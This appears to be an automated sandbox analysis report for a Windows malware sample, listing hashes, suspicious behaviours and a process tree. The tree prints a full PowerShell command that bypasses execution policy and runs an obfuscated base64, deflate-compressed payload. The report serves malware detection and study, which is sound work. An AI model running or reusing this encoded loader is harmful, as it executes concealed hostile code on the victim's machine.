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Analysis
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max time kernel
122s -
max time network
127s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
29/12/2023, 18:09
Static task
static1
Behavioral task
behavioral1
Sample
00147156b464a1066d3a1c7259437f30.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
00147156b464a1066d3a1c7259437f30.exe
Resource
win10v2004-20231215-en
General
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Target
00147156b464a1066d3a1c7259437f30.exe
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Size
251KB
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MD5
00147156b464a1066d3a1c7259437f30
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SHA1
0cba0c10768990899c73006ebfa4bb5993abbe50
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SHA256
5b7ded1509b6e77bc982f9786c098e17c139d4afdb736e46ccf19eccd9467343
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SHA512
6c0c8218c5ac63628759490fa59fd3b67b9e8e6b2f429ede3a87e7cb0b3a76f3566b41455f547656a94e48e2b4e9bd8705ff5889801f635c5c1a23a9f2ffb9bd
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SSDEEP
6144:4bJhs7QW69hd1MMdxPe9N9uA0hu9TBiRXDzXJ3R/gA:4bjDhu9TsRXP5ZgA
Malware Config
Signatures
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 2676 powershell.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2676 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2676 powershell.exe -
Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 2432 wrote to memory of 3032 2432 00147156b464a1066d3a1c7259437f30.exe 28 PID 2432 wrote to memory of 3032 2432 00147156b464a1066d3a1c7259437f30.exe 28 PID 2432 wrote to memory of 3032 2432 00147156b464a1066d3a1c7259437f30.exe 28 PID 3032 wrote to memory of 2676 3032 cmd.exe 30 PID 3032 wrote to memory of 2676 3032 cmd.exe 30 PID 3032 wrote to memory of 2676 3032 cmd.exe 30 PID 3032 wrote to memory of 2676 3032 cmd.exe 30
Processes
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C:\Users\Admin\AppData\Local\Temp\00147156b464a1066d3a1c7259437f30.exe"C:\Users\Admin\AppData\Local\Temp\00147156b464a1066d3a1c7259437f30.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2432 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\70FB.tmp\70FC.tmp\70FD.bat C:\Users\Admin\AppData\Local\Temp\00147156b464a1066d3a1c7259437f30.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:3032 -
C:\Windows\syswow64\windowspowershell\v1.0\powershell.exeC:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -NoLogo -ExecutionPolicyBypass -NoProfile -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"zVZtb9s2EP6uX0EYAiLVkiD5JehiGGicLK3RxvVqtx0mGINC0TYXmhRIyrGS+b/vaMsvcrIi6Idh1gfK5HMvvHvuTjZGXfSuZsXXjPUXmZDaqd0TyQlrNoKUsZo7QVl+xyhGSicaFrLScI76XA+1RN+o1HnCLhkT2Cn3HjyUU67RqlyLcn10Oz9t50qSRJPxHJZ0Zycv9S49dLBcvh3ZLneM9do7yx6L3jL9ffhh+lvOBVy+YdnDa5UP//gIf5z3RPtDKTBRyg2wyLm26BQ5e4g/I6iqwkVPAHE2kt9v+5/v/iJYI/+KJUqh75Q3G3+WCoV0g0G+uCPy8/STmFGcsP2J2miOjLK4V2gSTyb2YDwcy4SrBdVdL3rTets53orDSTdcRb3OHq8IFjw9Fanu7qVsLi6xsd21pwlTpDOWxZM9Evie6O6APPjlRQZEB9tdVa5OfLx3maYStNwkC8qKycUFRJtIADwIee/Fz6XHRUYAdj2TyaJ6DrHQAgtWIr6mmdspHQquBOfgjXOWqyATggVcZ4GQszMvajTdTvxN0HSyA48IT53jUJ0CvhBM6JJUMWucaDx/OoqLljlZd2yZ87HQCeuGnRshf03w3LH7PCUrRDmqZKQVBkGrOXGfDjL7tzeN9nl9Kwc6p1QqPaYL0nWOYn1tKA6bTvRLGHoRPOHmiXcHHylPTWg0dl0T+VvKGN0mWDnxV4j9eWviHGxGYRgCcrRBdEY6kdofMUIy5CsUtbc5BwdMXP5HSS89emXWd+ht2qt0fwbap/4UdzDKhCLOz9LhpNpey4hNk/nvqIB8dKDgtvO0kS8k2l/XNCJt2KGgKx75NSqUJovgeYqRE79w9kOioJckKoQZaej3i5eBJ8wZ48y1bHXgTBQGYdAIovaZh1rwc9HfSOTa5zljHWRncK/4UsrEuLWdLn0Oo4dj4tTuoKPWQMwF4AqAoHdPnOxE0SOch5ZdvEJf3KMa/FsSCVEwPguIR7MBOr3QrbeNtQIatFG46t1YD3PKCMyeR+Qz/WNhSJfxpF51tfDsx3obuPPvgb5hyUyBtoHgxEVrawokcGzajcAXCnYJapm3eh0sgHM2Nd7t1J14BBPQjCKgH0xeGEfBh4SnjLgg5UeTtWVrkAVG+CZlyF8QMwqvyZRyqqmA4sHIHyRAyNpmbNaQz+GfyhJMtoP0JufYIGFYZjBd9VzmJkFQmhcXlQ+R0LOL4BPhMz33wlUTqA9LK3StnedfYLAD9YMNH0U2InJJgfbBbSLVPGEmhSIrTARRCHnbfkJAOa2CXdhd10N7I8A8vct6+Y1iitVebau2yphKGy7r8e15KwzLlrNeW+b5Bw==\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"3⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2676
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
3KB
MD5bd4b3243d8caedf16307a717354a41b5
SHA14c0737006c558e695d0823f935f14fdcf063e277
SHA25603b127cbd572cea29141967489b551708d92d91f2260ae09f1d64c3f3b4b2270
SHA5126e96dd55d203bc16f65ea91b04407b366ebc05196df8750738a989ad7b364c8bb58c949c9286994dc56e12896e1c6330dfd5c868ad11ba2dcf2345d381630f9c